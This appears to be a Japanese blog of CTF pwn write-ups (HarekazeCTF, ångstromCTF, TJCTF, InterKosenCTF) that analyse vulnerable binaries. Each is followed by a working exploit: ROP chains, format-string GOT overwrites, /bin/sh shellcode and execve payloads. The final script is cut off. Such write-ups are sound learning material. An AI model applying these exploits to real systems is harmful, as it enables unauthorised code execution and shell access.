HarekazeCTF 2019「babyrop2 (200pts)」之解き方
はじめに
5月18日、 #HarekazeCTF に「NekochanNano!」の一員として参加させていただきました。最後に510ポイントを集めることが出来、私たちは523チームが参加する中、68位で終えました。
「babyrop」のライトアップも投稿してありますので、ぜひ前に読んできてくださいね!
babyrop2
プログラム解析
「babyrop」のときと同じように、接続できるIPアドレスとポート番号、そしてELFバイナリが手に入れます。加えて、今度はlibc.so.6
も渡されます。
いつもどおりに、checksec
でセキュリティ機構を確認します。
今回も、RELRO、Stack、そしてPIEが無い。Nice! !(^-^)!
またradare2
で開き、main関数の逆アセンブリを読んでいきましょう〜
画像が小さすぎるのであれば右クリックし、Ctrlまた⌘キーを押しながら「画像を表示」で開いてください。
一般のユーザが実行すれば、「babyrop」の動作と何が違うか見極められないけど、逆アセンブリを読めばその違いがよくわかりますね。また言葉で説明してみます。
- 在bss領域文字列を
edi
で指定、printf
でメッセージを出力する read
で、0x100バイトまで入力をスタック変数(rbp-0x20
)に読み込む- フォーマット形式と
rbp-0x20
を引数として用意、printf
で前の入力を含めたメッセージを表示する
「babyrop」に比べると、大きいな違いがありますね!「babyrop」と違って、system
や/bin/sh
がプログラムに含められていないのです。なので、ROPを行えば、system
にジャンプするために、呼び出す前にそのlibc以内のアドレスを計算することが必要となります。
printf
を使えば、GOT領域からある関数のlibcポインターをリークすることが出来るはずです。そうしたら、既に有しているlibc.so.6
を使い、system
関数とその関数の距離を計算することが出来ます。では、read
関数を狙おうと思います。
ROPでprintf
を呼び出せば、フォーマット形式をrdi
にし、引数をrsi
で示します。したがってpop rsi
とpop rdi
というガジェットが必要です。
良き。
pop_rdi = p64(0x400733) pop_rsi = p64(0x400731)
【注意】
pop rsi
の直後にpop r15
という命令があるので気をつけてください。このガジェットを利用するときに、r15
に保存されるための何かも必ず用意するように。
次にprint
のPLTアドレスとread
のGOTポインターを取りましょう。
plt_printf = p64(0x4004f0) got_read = p64(0x601020)
これで、printf
にジャンプすることが出来、利用した上、read
のGOTポインターをリーク、libc以内アドレスを掴むための準備が出来ました。
いまから試してみましょう。
#!/usr/bin/python2 # -*- coding: utf-8 -*- from pwn import * pop_rdi = p64(0x400733) pop_rsi = p64(0x400731) got_read = p64(0x601020) plt_printf = p64(0x4004f0) str_format = p64(0x400770) # ---- printf("%s", read@got) ---- payload = 'a' * 0x20 payload += 'b' * 8 # RBP payload += pop_rdi + str_format payload += pop_rsi + got_read + p64(0) payload += plt_printf # -------------------------------- sock = process(["./babyrop2"], env={"LD_PRELOAD":"./libc.so.6"}) sock.read() sock.sendline(payload) sock.readline() addr_read = u64(sock.readline()[-8:-2] + "\x00\x00") print("[*] readの位置をリークしました: %s" % hex(addr_read)) sock.close()
よし、成功! (≧∇≦)/!!
なう、objdump
を使い、リークしたreadと、system関数のベース位置を把握、距離を計算します。
よってreadのアドレスから0xb1ec0
を引いたらsystem
のアドレスになります。
addr_read = u64(sock.readline()[-8:-2] + "\x00\x00") print("[*] readの位置をリークしました: %s" % hex(addr_read)) addr_system = addr_read - 0xb1ec0 print("[*] systemの位置を計算しました: %s" % hex(addr_system))
最後のステップですが、計算したsystem
のアドレスをどうやってプログラムに入力するのでしょうか、どうやって実行するのでしょうか?
いま、実行できるのはprintf
、read
、setvbuf
とmain
だけです。この中から、任意ジャンプのために使えるものが2つ。どれなのかわかりますか?
→ printf
とread
です!printf
の場合、前みたいにFSBを発生させ、任意アドレスを上書きすることが可能です。そしてread
の場合、書き込み先のアドレスを引数として渡せばそれだけで任意書き込みができます。任意書き込みから任意ジャンプをどうやってするのかというなら、GOT領域のポインターを書き換え、繋がりの関数を呼び出すのが一つの方法です。
というわけで、次の作戦を考えました。read
を利用し、read
関数そのもののGOTポインターを上書きし、直後に文字列を同時に書き込むことにしようと思います。上書きの後、固定なGOT領域アドレスに保存した文字列をrdi
レジスタにし、再びread
を呼び出すことでsystem
を実行する、という作戦であります。
read
のGOTアドレスが既にわかりますので、最後の要する情報が、read
のPLTアドレスだけです。
ようやく準備がすべて整えました!!\(^o^)/
エクスプロイト作成
#!/usr/bin/python2 # -*- coding: utf-8 -*- from pwn import * pop_rdi = p64(0x400733) pop_rsi = p64(0x400731) got_read = p64(0x601020) plt_printf = p64(0x4004f0) str_format = p64(0x400770) # ---- printf("%s", read@got) ---- payload = 'a' * 0x20 payload += 'b' * 8 # RBP payload += pop_rdi + str_format payload += pop_rsi + got_read + p64(0) payload += plt_printf # -------------------------------- call_read = p64(0x400500) str_binsh = p64(0x601028) # got_readの直後 # ---- read(0, read@got, 0x100) ---- payload += pop_rdi + p64(0) payload += pop_rsi + got_read + p64(0) payload += call_read # ---------------------------------- # ---- system("/bin/sh") ----------- payload += pop_rdi + str_binsh payload += pop_rsi + p64(0) + p64(0) payload += call_read # ---------------------------------- # sock = process(["./babyrop2"], env={"LD_PRELOAD":"./libc.so.6"}) sock = remote("problem.harekaze.com", 20005) sock.read() print "[*] Payload size = %s" % hex(len(payload)) sock.sendline(payload) sock.readline() addr_read = u64(sock.readline()[-8:-2] + "\x00\x00") print("[*] readの位置をリークしました: %s" % hex(addr_read)) addr_system = addr_read - 0xb1ec0 print("[*] systemの位置を計算しました: %s" % hex(addr_system)) sock.sendline(p64(addr_system) + "/bin/sh\x00") sock.interactive() sock.close()
実行してシェル奪い!
今回は長かったのですが、最後まで読んで頂き、ありがとうございました!
HarekazeCTF 2019「babyrop (100pts)」之解き方
はじめに
5月18日、 #HarekazeCTF に「NekochanNano!」の一員として参加させていただきました。最後に510ポイントを集めることが出来、私たちは523チームが参加する中、68位で終えました。
babyrop
プログラム解析
ncatで接続可能なアドレスとポート番号に、ELFバイナリを手に入れます。
まず、checksec
を使い、ELFのセキュリティ機構を確認します。
RELRO、スタックカナーリやPIEが無く、すっごく助かります (^^;
これらのセキュリティ機構について、詳しくはこちらの記事をご参照ください。
次にradare2
で開き、main関数の逆アセンブリを解析しましょう。
結構簡単なプログラムですが、動作を言葉で説明すると、下記のような感じでしょうね
echo
シェルコマンドの文字列をrdi
に用意、system
を呼び出すのでメッセージを出力するscanf
を使い、任意なサイズの入力をスタック変数(rbp-0x10
)に読み込む- フォーマット形式と、
rbp-0x10
(前の入力)をレジスタで指定、printf
で入力を含めたメッセージを表示する
この問題の名前が「babyrop」なので、そしてスタックカナーリがないため、ROPが使うべきだとわかりますね。
それでは、ROPを使うのでsystem("/bin/sh");
を実行することを目的としましょう。
シェル奪いの作戦
system
を呼び出せば、引数を正しく用意しないといけません。mainの逆アセンブリを参考とし、system
を呼び出した前に、シェルコマンド文字列へのポインターをedi
で指定したことがわかりますね。ちなみにedi
ですが、この場合に一緒なので、rdi
を使ってもOK。
したがって、edi
あるいはrdi
に値を指定するいわゆる「ROP Gadget」が必要となります。良かったことで、radare2
にはそういうガジェットを発見するという機能がありますので、pop rdi
のガジェットを探してもらいましょう。
さすがradare2
ですね!よって0x00400683
には、pop rdi; ret
という命令が存在することがわかりました。
また、ポインターで指定できる"/bin/sh"
の文字列を検索しましょうか。
よし。0x601048
には、"/bin/sh"
という文字列が置いてあるようです。これで、「ROP Chain」の準備がやっとできました!
エクスプロイト作成
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * from time import sleep pop_rdi = p64(0x400683) addr_binsh = p64(0x601048) call_system = p64(0x4005e3) payload = "a" * 0x10 # バッファーを超える payload += "b" * 8 # RBP payload += pop_rdi # ガジェットに移動する payload += addr_binsh # rdiにpopされる payload += call_system # 関数の呼び出しに移動する # sock = process(["./babyrop"]) sock = remote("problem.harekaze.com", 20001) sock.readuntil("? ") sock.sendline(payload) sleep(1) sock.interactive() sock.close()
シェルを奪い!
以上 HarekazeCTF-2019の「babyrop」のライトアップでした。
最後まで読んで頂き、ありがとうございました!
ångstromCTF 2019「Server (180pts)」之解き方
はじめに
2019年の4月、NekochanNano!というチームの一員として ångstromCTF に参加させて頂きました。最後に1540ポイントを集めることが出来て、59位で終わりました。
今回は、特に気に入った問題の「Server」の解き方を解説して行きたいと思います。
問題記載
Server - 180 points Check out my new website, powered by my own custom web server!
ご丁寧に、ウェブサイトのリンクとELFバイナリが渡されます。こちらはウェブサイトのホームページです。
解析
早速ですが、とりあえずobjdumpに投げてみましょう。ディスアセンブルしてみたら、すぐに気づくのはlibcの無さ。このプログラムは全て、syscall以外にライブラリーを使わずに出来ているようです。
最初にいろんなsyscallを呼び出して、ソケットを保留して、バインドします。
401086: 48 31 c0 xor rax,rax 401089: 48 be 10 20 40 00 00 movabs rsi,0x402010 401090: 00 00 00 401093: ba 04 00 00 00 mov edx,0x4 401098: 0f 05 syscall
それから第零syscall(0から始まるので)read
で標準入力から4バイトを0x402010
に読み込んで、
40109a: 48 ff ce dec rsi 40109d: 48 ff c6 inc rsi 4010a0: 48 31 c0 xor rax,rax 4010a3: 48 31 d2 xor rdx,rdx 4010a6: 48 ff c2 inc rdx 4010a9: 0f 05 syscall 4010ab: 80 3e 20 cmp BYTE PTR [rsi],0x20 4010ae: 74 02 je 0x4010b2 4010b0: eb eb jmp 0x40109d
0x402010
を再利用して(さっきの4バイトを上書き)、また読み込みます。スペース文字(0x20
)が来るまで読み込みを続けますが、0x402010
に書き込んだバイトを数えないため、いくらも長いバイト流れを渡しても書き込んでしまいます(そこが危ないですね)。
4010b5: 48 be b1 28 40 00 00 movabs rsi,0x4028b1 4010bc: 00 00 00 4010bf: ba 00 08 00 00 mov edx,0x800 4010c4: 0f 05 syscall
やっとスペース文字が来たら0x4010b2
にジャンプして、今度0x4028b1
を読み込み先としてまた「read」を行いますが、今回は読み込みサイズが0x800
に過ぎないようにしています。
もう気づいてる方も居るかと思いますが、最初のバッファーがおそらくURLで2つ目がペイロード(HTTPヘッダーとコンテント)であるみたいです。そしてペイロードが0x800
バイトに過ぎないように制限されてるのに、URLにはそんな制限がなく、0x800
バイト以上を読み込めば、直後のメモリが単に上書きされてしまいます。
さて、続きを読みましょう。
401135: 48 8b 3c 25 10 28 40 mov rdi,QWORD PTR ds:0x402810 40113c: 00 40113d: b8 01 00 00 00 mov eax,0x1 401142: 48 be 20 28 40 00 00 movabs rsi,0x402820 401149: 00 00 00 40114c: 48 8b 14 25 18 28 40 mov rdx,QWORD PTR ds:0x402818 401153: 00 401154: 0f 05 syscall
mov eax, 0x1
の部分から、第一syscall write
を用意していることがわかります。この「検索可能 Linux Syscall 目録」によると、メモリからrdi
にコピーしている値がfd
(ファイル記述子)で、rsi
にbuf
(出力元)、そしてrdx
で出力サイズに指定します。このスニペットをC言語に訳してみるとこのようになるでしょう:
uint fd = 0; // STDOUT char *buf = "welcome to my web server! as you can see it's incredibly fast and impossible to exploit!"; size_t count = 88; write(fd, buf, count);
このコードを実行した後に、実際に出力したバイト数がrax
レジスタに保存されます。
最後に、第三syscall「exit」を呼び出します、、、
401156: 48 29 d0 sub rax,rdx 401159: 48 83 c0 03 add rax,0x3 40115d: 48 31 d2 xor rdx,rdx 401160: 0f 05 syscall
が!ちょっと待って。何を計算しているんでしょうか?まずはrax
(出力されたバイト数)からrdx
(出力サイズ)を引く。その結果は必ず0になるはずですね。してから結果に3を足して(rax
=3)、syscallを実行する。なるほど、そうやってヌル化するんだ。確かmov eax, 0x3
よりアセンブリ命令が短い(movを使えば0x3
なのに0x0000000000000003
となり、命令がかなり長くなってしまうらしいです)。
作戦
ごめんなさい、嘘を付きました。
実はsub rax, rdx
の結果が0でない場合もあります。もし、rdx
がとんでもない大きい値であれば、プロセスのメモリをすべて出しても出力バイト数が合わせられないのです。すなわち引き算の効果が0でなくなります。
試してrdx
を0xffffffffffffffff
にしてみたら、0x1000
バイトが出されました(rax = 0x1000
)。
数学能力がゼロなのでちゃんと計算できないけど、適当にいろんな値を試して、0xffffffffffffffbf
にすればrax
が0x3b
(10進数では59)になることを確かめることが出来ました。ちなみに第59 syscallが任意プログラムを実行してくれるexecve
であります。
そう、rdx
を0xffffffffffffffbf
にすると、execve
が呼び出されます。また「検索可能 Linux Syscall 目録」にてexecve
の引数を確認しましょう。
さて、エクスプロイトを考えましょう。上の脆弱性を利用して、任意コマンド実行または任意プログラム実行が出来るようになりました。ですが、例えばもしシェルを実行してしまえば、出力が標準出力に送信され、こちらソケット側からは見えません。ですから、サーバーの反応を観測せずに行えるエクスプロイトが必要となります。
チャレンジサーバーにアクセス出来たので、/tmp
ディレクトリにシェルスクリプトを適当に置いて、serverからそれを実行することに決めました。こちらはスクリプトです。
#!/bin/bash echo "フラグでしゅにゃん!(=^・・^=)" cat flag.txt > /tmp/nekochannano/server.flag.txt echo ""
そしてserverプロセスのユーザーが書き込めるためにファイル属性を設定して起きます。
$ cd /tmp/nekochannano $ touch server.flag.txt $ chmod 0666 server.flag.txt
エクスプロイトを書く前に、目指しているメモリの状況を図にしました。
通常に、メモリの状況がこのようになります:
+----------+--+--+--+--+--+--+--+--+--+--+-- | 0x402010 | 00 00 00 00 00 00 00 00 | URLバッファー | ... | ... | +----------+--+--+--+--+--+--+--+--+--+--+-- | 0x402810 | 00 00 00 00 00 00 00 00 | 出力バッファー +----------+--+--+--+--+--+--+--+--+--+--+-- | 0x402018 | 58 00 00 00 00 00 00 00 | writeサイズ +----------+--+--+--+--+--+--+--+--+--+--+-- | 0x402020 | w e l c o m e | メッセージ | 0x402028 | t o m y w e | | 0x402030 | b s e r v e r | | 0x402038 | ! a s y o u | | ... | ... | +----------+--+--+--+--+--+--+--+--+--+--+--
エクスプロイトして、このようにさせることを目指します。
+----------+--+--+--+--+--+--+--+--+--+--+-- | 0x402010 | 61 61 61 61 61 61 61 61 | 'a' (804字) | ... | ... | +----------+--+--+--+--+--+--+--+--+--+--+-- | 0x402810 | 28 28 40 00 00 00 00 00 | 実行ファイル名のポインタ +----------+--+--+--+--+--+--+--+--+--+--+-- | 0x402018 | bf ff ff ff ff ff ff ff | rdxに保存されて、raxから引かれる値 +----------+--+--+--+--+--+--+--+--+--+--+-- | 0x402020 | 00 00 00 00 00 00 00 00 | rsiに保存されるargv(ヌル) +----------+--+--+--+--+--+--+--+--+--+--+-- | 0x402028 | / t m p / n e k | 実行するファイル | 0x402030 | o c h a n n a n | /tmp/nekochannano/nyan.sh | 0x402038 | o / n y a n . s | | 0x402040 | h 00 | | ... | ... | +----------+--+--+--+--+--+--+--+--+--+--+--
よし!これで準備が出来ました!さあ早速エクスプロイトを書きましょう!
エクスプロイト!!
#!/usr/bin/env python2 # -*- coding: utf-8 -*- def payload(): # HTTP リクエストを生成する output = "" output += "a" * 0x804 # 0x40200c~0x402810までaを書き込む output += "\x28\x28\x40\x00\x00\x00\x00\x00" # 0x402810 $rdi 出力バッファー output += "\xbf\xff\xff\xff\xff\xff\xff\xff" # 0x402818 $rdx 出力サイズ output += "\x00\x00\x00\x00\x00\x00\x00\x00" # 0x402820 $rsi argv output += "/tmp/nekochannano/nyan.sh\x00" # 0x402828 実行されるファイル output += " " return output print payload()
そして実行!
以上、ångstromCTF 2019 之「Server」の解き方でした。 最後まで読んで頂きありがとうございました!
TJCTF「Printf Polyglot (120pts)」之解き方
はじめに
2019年4月の4日〜8日、NekoChanNano!というCTFチームでTJCTFに参加しました。解けた問題の中、Pwn系の問題「Printf Polyglot」があり、今回この問題の解き方を解説していきたいと思います。
概要
こちらは問題記載:
Printf Polyglot - 120 points Written by nthistle Security Consultants Inc. just developed a new portal! We managed to get a hold of the source code, and it doesn't look like their developers know what they're doing. nc p1.tjctf.org 8003
ご丁寧にELFバイナリとソースコードが与えられます。ではとりあえずバイナリを実行してみましょう。
$ ./printf_polyglot Welcome to the brand new Security Consultants Inc. portal! What would you like to do? 1.) View the Team! 2.) Check the date. 3.) Sign up for our newsletter! 4.) Report a bug. x.) Exit.
またメニュー系なインターフェースですね。自分は普段、プログラムの動作を把握するには、直接にいじるよりコードを読むのが楽なので、そのソースコードを読んでから行こうと思います!
解析
コードが長かったため全部を貼りはしないけど、main関数を見れば各メニューオプションそれぞれの関数があることがわかります。
int main() { gid_t gid = getegid(); setresgid(gid, gid, gid); setbuf(stdout, NULL); printf("Welcome to the brand new Security Consultants Inc. portal!\n"); char action = 0; char line[128]; while (action != 'x') { printf("What would you like to do?\n"); printf("1.) View the Team!\n"); printf("2.) Check the date.\n"); printf("3.) Sign up for our newsletter!\n"); printf("4.) Report a bug.\n"); printf("x.) Exit.\n"); fgets(line, sizeof line, stdin); action = line[0]; if (action == '1') { view_team(); } else if (action == '2') { check_date(); } else if (action == '3') { newsletter(); } else if (action == '4') { report_bug(); } else if (action != 'x') { printf("Sorry, I didn't recognize that.\n"); }code redirectio printf("\n"); } }
他の関数を見たら、気になったのがcheck_dateとnewsletterだけでした。
bool date_enabled = false; [...] // apparently calling system() isn't safe? I disabled it so we // should be fine now. void check_date() { printf("Here's the current date:\n"); if (date_enabled) { system("/bin/date"); } else { printf("Sorry, date has been temporarily disabled by admin!\n"); } }
こうやって変数を使って、systemを呼び出さないようにしたようですが、system関数がコードに入ってるだけでPLTに含まれますので、もしある脆弱性によってRIPレジスタを奪えられれば、systemの位置が既にわかります(PIEが有効な場合を除く)。攻撃者にとってはそれがすごく助かります。
void newsletter() { printf("Thanks for signing up for our newsletter!\n"); printf("Please enter your email address below:\n"); char email[256]; fgets(email, sizeof email, stdin); printf("I have your email as:\n"); printf(email); printf("Is this correct? [Y/n] "); char confirm[128]; fgets(confirm, sizeof confirm, stdin); if (confirm[0] == 'Y' || confirm[0] == 'y' || confirm[0] == '\n') { printf("Great! I have your information down as:\n"); printf("Name: Evan Shi\n"); printf("Email: "); printf(email); } else { printf("Oops! Please enter it again for us.\n"); } int segfault = *(int*)0; // TODO: finish this method, for now just segfault, // we don't want anybody to abuse this }
あれれ?気のせい??
printf(email);
こう、ユーザーの入力したデータをそのままformat stringを使わずにprintfに渡すと、いわゆるFormat String Bug(FSB)という脆弱性が生まれます。FSBを使えば、例えば任意読み込みや任意書き込みができます。
作戦
FSBを使って、ある関数のGOTポインターを上書きし、systemのPLTアドレスに変えましょう。 fgetsの後に呼び出されるので、そして入力したemail変数がそのままわたされますので、printfが最適な候補だと思います。
printf(email);
がこう、二回呼び出されますが、もし一回目はFSBを行えば、二回目はもうprintfではなく、system(email)
になりますのでご注意ください。そのため、email変数が同時にformat stringでもあり、シェルコマンドでもある必要があります。
エクスプロイト
#!/usr/bin/python2 # -*- coding: utf-8 -*- import struct # 作戦:FSBを使ってprintfのGOT要素(0x602048)に、systemのPLTアドレス(0x4006e0)を書き込む。 # 次にprintfが呼び出される際、system関数が代わりに実行されてしまう。 def payload(): padding = "a" * 100 command = "/bin/sh #" # 直後のスタックデータが含まれちゃうから「#」でコメント化 # 説明:メニュー選択がスタック変数のactionに保存される。 # そこにアドレスを入れたら、FSBを起こせるときに利用できます。 selection = "3 " selection += struct.pack("<Q", 0x00602048) # スタック第63引数。 selection += struct.pack("<Q", 0x0060204a) # スタック第64引数。 # 説明:出力済文字数が0x40になるまでスペースを%cで出力して、 # 第64引数(0x60204a)に0x40を書き込む。そのあと、また%cでバイトを出力、 # 第63引数(0x602048)に0x06e0を書き込む。そうしたらprintfのGOT要素が0x4006e0になり、 # ジャンプすればsystemのPLTアドレスに移動しちゃいます。 format_string = command + "%55c%64$n%1696c%63$hn" + padding format_string = format_string[:100] return selection + "\n" + format_string + "\ny\n" print(payload())
さあ、作戦開始!
以上Printf Polyglotの解答方法でした。
TJCTF 2019「Silly Sledshop (80pts)」之解き方
はじめに
2019年4月の4日〜8日、TJCTFにNekoChanNano!というCTFチームで参加しました。自分はまだ初心者であり、レベルがかなり高かったと思います。良い勉強になりましたので、今回はPwn系の問題「Silly Sledshop」の解き方を解説していきたいと思います。
概要
こちらはチャレンジ記載:
Silly Sledshop - 80 Points Written by evanyeyeye Omkar really wants to experience Arctic dogsledding. Unfortunately, the sledshop (source) he has come across is being very uncooperative. How pitiful. Lesson: nothing stops Omkar. He will go sledding whenever and wherever he wants. nc p1.tjctf.org 8010
その上、32ビットのELFバイナリとそのソースコードを手に入れます。
解析
まずはELFファイルを実行してみましょう。
$ ./sledshop The following products are available: | Saucer | $1 | | Kicksled | $2 | | Airboard | $3 | | Toboggan | $4 | Which product would you like?
メニューが表示され、入力を待っているようです。そして指示すると、
[...] Which product would you like? 1 Sorry, we don't currently have the product 1 in stock. Try again later! $ #品切れだったら先に言ってよ!ヾ(。>﹏<。)ノ゙
さあ次に、ソースコードを確認しよう〜
#include <stdio.h> #include <stdlib.h> void shop_setup() { gid_t gid = getegid(); setresgid(gid, gid, gid); setbuf(stdout, NULL); } void shop_list() { printf("The following products are available:\n"); printf("| Saucer | $1 |\n"); printf("| Kicksled | $2 |\n"); printf("| Airboard | $3 |\n"); printf("| Toboggan | $4 |\n"); } void shop_order() { int canary = 0; char product_name[64]; printf("Which product would you like?\n"); gets(product_name); if (canary) printf("Sorry, we are closed.\n"); else printf("Sorry, we don't currently have the product %s in stock. Try again later!\n", product_name); } int main(int argc, char **argv) { shop_setup(); shop_list(); shop_order(); return 0; }
興味あるのはshop_order関数ですね。中には、getsでstdinを読み込み、入力データのサイズを確認せずに64バイトのバッファーproduct_nameに書き込みます。単純なバッファーオーバーフローが使えるように見えますが、実行ファイルのセキュリティ機構を確認すれば:
$ checksec ./sledshop [*] '<省略>/sledshop' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments $
何だ、いけるじゃん。ただし、チャレンジサーバーではASLRが有効なので、スタックにシェルコードを置いても、アドレスがランダム化されるため、そこにリターン出来ません。そこで、長く長く長く流れるNOPスレッドを使えば行けるかもしれないけど、リモートサーバーですし時間かかりそうだから面倒くさい。シェルコードを一回で実行する方法を考えたほうがいいので、さあ楽しいシンキングタイムだぜ!
作戦
スタックトークンがないから普通のスタックオーバーフローで任意アドレスへ移動することが出来ます。ASLRが有効になるため、スタック内アドレスに簡単に戻れませんが、テキスト領域かGOT領域ならアドレスが固定なので使えます。
あと、Full RELROがないので、GOT領域が書込可能。問題はどうやって書き込むのかですね。ただのスタックオーバーフローだけだとスタック以外のメモリを書き込むことが出来ません。ディスアセンブリを読みながら任意アドレスを書き込む方法がわかりました。
80485dc: 8d 45 b4 lea eax,[ebp-0x4c] 80485df: 50 push eax 80485e0: e8 eb fd ff ff call 80483d0 <gets@plt>
これでございます。EBPから0x4cバイトを引いて読み込み先にし、gets関数を呼び出すとするアセンブリ命令。素敵じゃないですか!EBPレジスターを設定できれば、指定したアドレスの位置から0x4cを引いて、結果のアドレスに書き込みます。これを使えば、例えばprintf関数のGOTポインターに0x4cを足し、スタックのリターンポインターの前に置いて、このアセンブリ命令の冒頭に移動してprintfのGOTポインターを書き込んでしまう。とっても素敵!
エクスプロイト
#!/usr/bin/env python2 # -*- coding: utf-8 -*- import struct, os # 作戦:printf関数のGOTポインターを書き換えることで、実行可能であるGOT領域に置いたシェルコードを実行する。 # GOTポインターを書き換えるには、ebxを設定し、バッファーオーバーフローでshop_order関数の真ん中に戻り、 # getsによりprintfのポインターを4バイト後の0x804a014に変えて、直後にシェルコードを同時期に置いておく。 # getsからshop_orderに戻ったらprintfが自然に呼び出されて、シェルコードを実行してしまう。 def payload(): junk = "a"*76 alphabet = "".join([x*4 for x in "ABCDEFGHIJKLMNOPQRSTUVWXYZ"]) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" gadget_gets = struct.pack('<I', 0x080485dc) # gets() -> [ebp-0x4c] got_printf = struct.pack('<I', 0x804a010+0x4c) # printf()のGOTポインター。0x4cはアセンブリ命令に引かれます after_printf = struct.pack('<I', 0x804a014) # printf()の直後ではあるが、偶然でgets()のGOTポインターでもある return junk + got_printf + gadget_gets + "\n" + after_printf + shellcode print(payload())
そして実行:
以上Silly Sledshopの解答方法でした。
InterKōsenCTF「ziplist (350pts)」之解き方
はじめに
2019年の一月に、CTFチームの「NekoChanNano!」のメンバーとして#InterKosenCTF に参加させていただきました。今回は、経験少ないの私にとってかなり難しかった「ziplist」という問題(Pwn系、350点) の解き方を紹介していきたいと思います。
概要
チャレンジ・ページからソースコードをダウンロードすることが出来ます。手に入れる.tar.gzアーカイブファイルを解凍すれば、下記の二つのディレクトリが作られます。
./server
、以下にflaskアプリケーションのソースコードとx86_64 ELFバイナリがあります。
./src
、以下にx86_64 ELFバイナリのソースコード(C言語)が置いてあります。
flaskサーバーを起動し、localhost:9300/ をアクセスしてみましょう。
zipファイルをアップロード出来るようですね。バックエンドのソースコードを確認しましょう。
@app.route('/', methods=['GET', 'POST']) def home(): result = '' if 'upload' in request.files: zipfile = request.files['upload'] filename = zipfile.filename if filename != '': upload_filename = "/tmp/uploads/" + ''.join( [random.choice(string.ascii_letters) for i in range(16)] ) + ".zip" zipfile.save(upload_filename) result = commands.getoutput("timeout -sKILL 1s ./ziplist " + upload_filename) try: os.remove(upload_filename) except OSError: pass result = base64.b64encode(result) return render_template('index.html', result=result)
ご覧通り、与えられるファイル にランダムの名前が付けられて保存され、次に実行されるELFプログラムに引数として渡されます。 さて、ELFのソースコードの解析を始めましょう!
ELFの解析
src/main.cのmain関数に脆弱性があります。ローカル変数のchar comment[64]がzip.cのzip_check_header()関数に渡され、zipのコメントのサイズに限らず書き込まれます。
char comment[64]; //... // Check the zip structure if (zip_check_header(fp, &footer, comment)) { puts("Invalid zip format."); return 1; }
ですが、stack smashing protectionというセキュリティ機構が有効になっているため、スタック・フレームをそんな簡単に上書き出来ません。
セキュリティ機構について、詳しくはこちらのページをご確認ください。
CTFの時、この機構を迂回する方法があるのがまだ知らなく、自分で気付けるまで数時間かかりましたが、実は__stack_chk_fail関数のGOTポインターを上書きできるのです。そうすれば、main関数の終わりに書き込んだアドレスにジャンプするし、main関数内のRSP以降のスタック領域を好きに使えるようになります。
src/zip.cのzip_get_entries関数にもう一つの脆弱性があります。zipのfooterを読み込む前にmallocによってヒープ領域を確保します:
// Initialize *entry = (CentralDirectoryFileHeader**)malloc(sizeof(CentralDirectoryFileHeader*) * footer->total_entries); for(i = 0; i < footer->total_entries; i++) { (*entry)[i] = (CentralDirectoryFileHeader*)malloc(sizeof(CentralDirectoryFileHeader) - sizeof(char*)); (*entry)[i]->filename = (char*)malloc(64); }
メモリーを確保した後だけに、ZIPの中身のファイルの情報を取得して書き込むのです。
// Read all entries for(i = 0; i < footer->total_entries; i++) { fread((*entry)[i], sizeof(CentralDirectoryFileHeader) - sizeof(char*), 1, fp); // Check signature if ((*entry)[i]->signature != MAGIC_CENTRAL_DIRECTORY_FILE_HEADER) { return 1; } // Read filename fread((*entry)[i]->filename, 1, (*entry)[i]->length_filename, fp); fseek(fp, (*entry)[i]->length_extra + (*entry)[i]->length_comment, SEEK_CUR); }
そして上記に使用される CentralDirectoryFileHeader はこちらです:
typedef struct __attribute__((packed)) { uint32_t signature; uint16_t version; uint16_t version_needed; uint16_t flags; uint16_t compression_method; uint16_t modification_time; uint16_t modification_date; uint32_t crc32; uint32_t compressed_size; uint32_t uncompressed_size; uint16_t length_filename; uint16_t length_extra; uint16_t length_comment; uint16_t disk_start; uint16_t internal_attr; uint32_t external_attr; uint32_t header_offset; char *filename; } CentralDirectoryFileHeader;
zipの中身にあるファイル数が2つ以上である場合、ヒープ領域がこういう形になるでしょう:
---------------------------------- [ Heap Frame ] ---+ [ CentralDirectoryFileHeader (48 bytes) ] | // Including char *filename (8 bytes) at the end | [ Heap Frame ] +-- 1ファイル目 ---------------------------------- | [ Heap Frame ] | [ File Name (64 bytes) ] | [ Heap Frame ] ---+ ---------------------------------- [ Heap Frame ] ---+ [ CentralDirectoryFileHeader (48 bytes) ] | // Including char *filename (8 bytes) at the end | [ Heap Frame ] +-- 2ファイル目 ---------------------------------- | [ Heap Frame ] | [ File Name (64 bytes) ] | [ Heap Frame ] ---+ ---------------------------------- ...
というわけで、第一ファイルの名前が64バイト以上であれば、その名前を保存するだめのメモリ範囲を超えてしまい、次のファイルの情報にオーバーフローします。もしその影響で次の CentralFileDirectoryHeader 仕組みの char *filename
が上書きされるとなれば、次のファイル情報を書き込む際、新しいポインターを使用してしまい、任意書き込み脆弱性になります。
いざエクスプロイト!
#!/bin/sh rm -rf work/ mkdir work/ cd work/ # ASLRが有効されてるため、実行する際に標準関数system()のアドレスが毎度変わってしまうため狙えません。 # PWN_BINSH1="`python2 -c 'print "b"*126 + "\x20\x20\x60\xaa\xaa\xaa\xaa\xaa"+"c"*90+"cat \xbbhome\xbbpwn\xbbflag\xaa"'`" # freadのポインターを上書き # PWN_BINSH2="`python2 -c 'print "\x80\x73\xe2\xf7\xff\x7f\xaa\xaa"'`" # system関数のアドレス # 0x602030に存在するstack protectorポインターを再宣伝して、JOP gadgetに移動する。それからgadgetによって 0x400c8f にあるデータをRDIにコピーします。 PWN_STACKPROTECTOR1="`python2 -c 'print "a"*126 + "\x30\x20\x60\xaa\xaa\xaa\xaa\xaa"'`" # stack protector @ GOT PWN_STACKPROTECTOR2="`python2 -c 'print "\x8f\x0c\x40\xaa\xaa\xaa\xaa\xaa"'`" # readfile()に存在する pop RDI -> pop ESI -> call perror # perrorのGOTポインターを再宣言して、readfileの先頭アドレスへジャンプする。 PWN_PERROR_TO_READFILE1="`python2 -c 'print "b"*126 + "\x68\x20\x60\xaa\xaa\xaa\xaa\xaa"'`" # perror@GOT PWN_PERROR_TO_READFILE2="`python2 -c 'print "\x53\x0c\x40\xaa\xaa\xaa\xaa\xaa"'`" # readfileの先頭アドレス # readfile関数に渡す第一引数「data」をGOT領域に保存して置く。 PWN_STRING_AFTER_EXIT1="`python2 -c 'print "c"*126 + "\x78\x20\x60\xaa\xaa\xaa\xaa\xaa"'`" # exit@GOTの後 PWN_STRING_AFTER_EXIT2="`python2 -c 